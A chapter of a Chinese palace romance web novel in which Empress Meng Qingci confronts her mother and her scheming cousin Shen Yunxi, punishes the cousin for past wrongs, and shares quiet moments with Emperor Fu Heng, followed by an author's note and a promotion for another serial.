本是男女有别,朱幼宜并不好多看宋闻璟,听孟清辞如此说,这才仔细去看,点头道:“你这样讲,还别说,真是像呐,我说怎么看着面善呢。” 宋闻璟这两年在京城,至于宋泊简书信往来,宋泊简并不会他说起生意上的事,遂他对大哥的事情,知之甚少,也好奇问:“岑姑娘认识我大哥?” 朱幼宜颔首,言简意赅道:“从前一起做天丝棉的生意,如今一起为皇后娘娘效力。” 孟清辞喝着茶,看两人你一言我一语的闲谈,如何也无法此时文质彬彬的宋泊简,与傅珩口中的酷吏相重合。 想到那日傅珩如何评价宋泊简的:“此子审案雷厉风行,手段狠辣,行事有酷吏之风,正适合推行新政。” 孟清辞不禁莞尔:呵,合着,傅珩当时是在给人上眼药,她便说,当时这几句评价,不像是夸赞之言,更不像是老师点评学生,原来是故意说给她听的。 不过半年,那些蠢蠢欲动,想要在这场动荡中分一杯羹,或是争一争的地方豪强,在火|炮巨响的洗礼下,全歇了心思,傅珩彻底坐稳了皇位,将天下尽收囊中。 孟清辞的新政和产业推广的异常顺利,半年后,她还开设了银行,开展免息借贷给农户和想赎身的奴仆。 新政下,奴仆想要赎身,只要按照买卖身楔的银子支付即可。如今奴仆想要赎身,主人家便不可阻拦,否则奴仆可以到官府状告主人,官府查证属实,论罪前便要先打二十大板。 且若是主人家判了罪责,奴仆无需再付赎身的银子,便可在官府领取新的户籍,凭着新户籍便可到岑氏作坊谋一份工。 虽说律令没有明令禁止买卖仆役,却是将终身买卖几乎变成了废楔,百姓有了个更多的出路,自卖自身的便也少了许多。 说到底,孟清辞的一切都的依托傅珩的皇权,而傅珩的底色和旧部多半仍旧是旧世族,她不能无法短时间内便要挖这些人的根基,只能徐徐图之。 这日夜里,傅珩立于孟清辞身后,亲手为她卸去鬓间钗鬟。动作间,他自镜中望入她眼眸:“你父母今日已抵京。孟王爷递了折子,道孟王妃盼着明日能进宫见你一面。” 孟清辞果然神色淡了几分:“她们年纪大了,倒是不必如此麻烦。” 傅珩握住她的肩膀,劝道:“我知你不耐烦,不过,明日你且忍耐走个过场,如今你是瓷器,于大义上要过得去,免得传出不利你的闲话。” 难得,孟清辞听进去了几分,默了一瞬,颔首算是同意。百善孝为先,天下无不是的父母,并不是一朝一夕就能够破除的观念。 翌日晨起,孟清辞梳妆,特意穿着皇后宫装,头戴凤冠,那凤冠之重,让孟清辞不禁蹙眉,暗自埋怨孟王妃:病了还不老实,还要千里迢迢来京。 巳时,孟王妃觐见,孟清辞端坐在殿内,却并未起身。 孟王妃不愧是蜀地的美人,虽体弱多病,却是难掩姿色,任谁都要道一句病西施。孟王妃在婢女搀扶下进殿后,见孟清辞端坐其上,一时间看得愣怔。 素娟侧身一步,声音带着不容置疑的威仪:“孟王妃,凤仪在前,岂可直视?见了皇后娘娘,还不行礼?” 孟王妃闻言,脚步一顿,望着多年未见的女儿,心中百感交集,眼中泪光氤氲。她对这个女儿,又是心疼,又是有愧,这才央求着孟王爷千里迢迢来见一面。 不待孟王妃回应,其身后的沈云夕已厉声驳斥道:“大胆刁婢,这是皇后娘娘的亲生母亲,皇后便是再尊贵,也没有让亲娘下跪的道理,你也不怕折了皇后娘娘的寿数。” “娘娘面前,不得喧哗。”素娟却是不为所动,冷声道:“自古先君后臣,难道孟王府的人都如此没有规矩,是有不臣之心吗?” 沈云夕想过今日前来,或许会被孟清辞刁难,却不想孟清辞一朝得势,竟是表面功夫也懒得做,半点不顾及孟王府的脸面。 “你这刁婢,好大的胆子,竟敢出口污蔑皇后母族。”听这宫女张口便是谋逆大罪扣下来,沈云夕再难维持往日娴熟模样:“真当我孟王府无人了吗?” 孟王妃一副左右为难,不知如何是好的模样,看看沈云夕,又看看孟清辞,嗫嚅道:“不是这样的。” 孟清辞讥诮一笑,这才缓缓开口:“好了,看座罢,有什么话坐下再说罢。” 沈云夕见孟清辞看着自己的眸光泛冷,她心中打了个突,挽住孟王妃的手臂紧了紧,想着有孟王妃在,又想到今日来所谓何事,她并没有揪着方才之事。 待两人落座后,孟清辞便道:“听闻,王妃有病在身,还要前来拜见本宫,这份心意本宫领了。”又吩咐素娟:“一会儿便备些上好的药材,给孟王妃带回去。” 素娟福身应是:“您一早便吩咐了,奴婢都备好了。” 孟王妃一双眉目与孟清辞酷似,此刻泪眼盈盈,好似盛了三千弱水,惹人怜惜:“清辞,你是不认母亲了吗?母亲听说这些年你吃了很多哭,你是不是怪母亲?都怪母亲无能,这许多年竟是没能早点巡到你。” 孟清辞自己端详孟王妃的神色,竟是找不出一丝一毫的惺惺作态,她不由得暗自称奇,她从前怎么就没发现,孟王妃是一朵盛世白莲花呢。 沈云夕适时劝道:“姑母,好容易找到表妹,表妹如今又做了皇后,这是喜事,可不兴哭呢,您如此伤心,姑父要心疼的。”又对孟清辞道:“当日在闽州之时,我便觉得你与幼时有几分像,怎料你却是不记得从前之事,我一时也拿不准,错过了,如今咱们姐妹终于相认,可见是天意。” 孟王妃听沈云夕如此说,亲昵的拍了拍她的手,破涕为笑道:“确实是天意,我儿是有福气的。” 又转头对孟清辞道:“见你如今出落得出息,为娘便欣慰了。” 孟清辞淡笑道:“既如此,咱们也见过了,你身体不好,还是早些回去歇息罢。” 孟王妃听闻孟清辞的话,愣怔了下,不想一向贴心的女儿为何会如此冷清,她暗想:女子不柔顺,如何讨得夫君欢喜,不免担忧孟清辞难得帝心长久。 沈云夕听了微不可查的蹙眉,暗示的捏了捏孟王妃的臂弯:“姑母,你不是还有许多话要与表妹说么?” 孟王妃像是想起了什么,柔声对孟清辞道:“要说,你们姐妹也是缘分,原云夕便与陛下议婚,不想陛下先娶了你,如今陛下荣登宝座,总要广纳妃嫔,孟王府又远在蜀地,你在京中不免独木难支。” 孟清辞似是仔细在听,唇角却流露一丝讥诮,她想,孟王妃还是真是个不折不扣的扶弟魔。 孟王妃慈爱的看着孟清辞,见她乖顺的模样,仿佛和她儿时重合,恋爱的继续道:“为娘,日思夜想,不如让云夕留下与你做个伴,一同伺候陛下,也可成为你的助力。” “我说非要入宫见我,原是打的这个主意。”孟清辞轻笑出声:“便不知道孟王爷知不知道你们的心思?” 沈云夕羞涩低头,轻声道:“妹妹,当初姐姐没能护住你,这些年我一直自责不已,日夜难以安寝,听闻你这些年的遭遇,我恨不得待你受之。你放心,我知道陛下待你的情深,绝不会与你争宠,只是想入宫陪着你,护着你,免得你再有危难。” 孟清辞实在没忍住,再次笑出声来:“沈云夕,你真是艺高人胆大,我没工夫理会你,你便要烧高香了,你竟然还敢主动进宫来。” 孟清辞没有理会愕然的孟王妃,她对沈云夕道:“以为我失意了,想要再赌一把?当初李代桃僵的把戏成功过一次,尝到了甜头,想要故技重施?” 沈云夕闻言惊骇不已:“你” 孟王妃亦是吃惊,美眸里难掩惊慌:“清辞” 孟清辞嗤笑:“怎么,你把害自己女儿的凶手当女儿养的滋味不错?便当做亲女儿养着了?如今还要送她来吃你亲女儿的血肉?” 孟王妃大颗的泪低落,摇头喃喃道:“不是的,清辞,不是这样的,都是误会。” “没人告诉你我全想起来了吗?”孟清辞又转头看向沈云夕:“你猜,我要如何处置你?” “不,我们是亲姐妹,你如今已是皇后,你不能”沈云夕害怕的抓着孟王妃的手臂:“姑母救我。” 毕竟是在身边养了十几年,孟王妃不忍心的对孟清辞求情道:“清辞,念在你如今无事,又因缘际会嫁给陛下,便饶过云夕罢,她那时也是年幼无知,并非有意而为。” 在孟清辞心里,早对孟王夫妇冷了心肠,在她心里,她真正的父母在另一个地方,许是因‘种香’的缘故,她如今对很多事都没有很多的情绪波动。 孟清辞睥睨的看着孟王妃,讥讽道:“你的眼泪还是留给老孟罢,对我没什么用处。” 孟王妃闻言,被点破了心思,一时哭也不是,不哭也不是,此时才觉得多年未见的女儿竟然如此陌生,又在心里隐隐否定,清辞从小便是口齿犀利不饶人。 “放心,我并不会怎样你。”孟清辞不理会糊里糊涂只会做扶弟魔的孟王妃,冷笑看着沈云夕:“只是你让我受过的苦,也要你尝一遍,一天不多,一天不少,到那时你若还能活着,我便饶恕于你。” 待沈云夕反应过来,孟清辞话里的意思后,浑身打了个激灵,她不可置信的看着孟清辞:“不你不能这样对我,姑母不会同意的。”她倾心与傅珩,傅家的龌龊她多少知道些,一想到自己要为奴为婢,在这样污秽的地方过活,几乎令她害怕到窒息。 孟王妃泪如雨下的劝道:“清辞,冤冤相报何时了,你们可是姐妹啊。” 孟清辞吩咐道:“今日后,孟王妃永不得入宫。” 孟王妃想到亲生女儿五岁前又多粘着自己,总是讨自己欢心的模样,仍无法与面前冷艳逼人的女子重合。她呆滞的让宫人搀扶着送出宫外,仍久久不得回神。 晚间,床榻间,傅珩顺着孟清辞如绸缎搬的乌发,孟清辞背对着傅珩侧卧着,气息仍又些微喘|息,两人间竟是难得温馨静谧。 傅珩捏着她圆润光洁的肩头问:“沈家已全部流放,你何必要如此麻烦。” “她们与我毕竟沾亲带故,那些人还能让他们死在流放的路上吗?再则,我虽恨不得他们去死,他们却是罪不至死。”孟清辞毫无力气,她一动未动,任由傅珩不老实,气若游丝:“这事情当年是沈云夕亲自做的,她当然也要尝尝这个滋味。” 傅珩叹一声:“今日你父亲,当着我的面已是万分后悔,他自愧无颜面见你,却是让你放心,绝不会让沈家人好过。” 孟清辞无波无澜道:“他已经选过了,不必再选。” 孟王爷此言的意思,便是放弃了孟王妃,只是迟来的父爱比草贱,孟清辞又岂会稀罕,也不过就是男人在权势面前,放弃了爱妻。 傅珩闻言,立时屏住了呼吸,掌心几乎生出了汗,他暗想:他曾经也是选过了,他一念之差选错了,在她心里,她难道至今都没给自己改过的机会吗? 傅珩又咬牙否定了自己这个想法,他如今都改过了,事事以她为先,再不济他们还有儿子,他与旁人终究是不同的。 这一夜,梦里,孟清辞只觉自己深处火海,任凭她如何也无法摆脱,浑身皮肉都要被烤干了,喉咙也干涩的要命,忽然遇见一处清泉,甘甜无比,她不要命的汲取。 傅珩半抱着孟清辞,一边用茶杯给她尾水,见她梦中急切模样,不免无声轻笑,轻声道:“慢点,又没人和你抢。”—— 作者有话说:傅珩:我终究是那个笑道最后的男人 孟清辞:呵呵,你高兴就好 作者:再更就是傅珩重生番外了,我最怕大家说结局不够看,但是高|潮过后,喜欢在最嗨的点结局。最后一张留言红包30个,感谢大家支持。 宣传一波预收文《刑部对面小酒馆》1v2,希望大家依旧喜欢 现代刑警杨霏穿越大明,靠着一手酿酒的手艺,开了一家酒馆儿,做起了沽酒娘子。 恰巧杨家小酒馆儿开在刑部对面,今儿一桩案,明儿一桩案,杨娘子磕着瓜子,喝喝小酒,随便猜猜案情, 不得了,一猜一个准儿,成了远近闻名的神嘴断案 杨霏:咦~~她娘不是寡妇嘛,怎么皇帝上赶着给她当爹? 沽酒&美食&破案&谈情&轻松&市井&种田&家长里短 cp:潇洒沽酒娘子刑部侍郎&冷酷锦衣卫指挥使【`xs.c`o`m 网】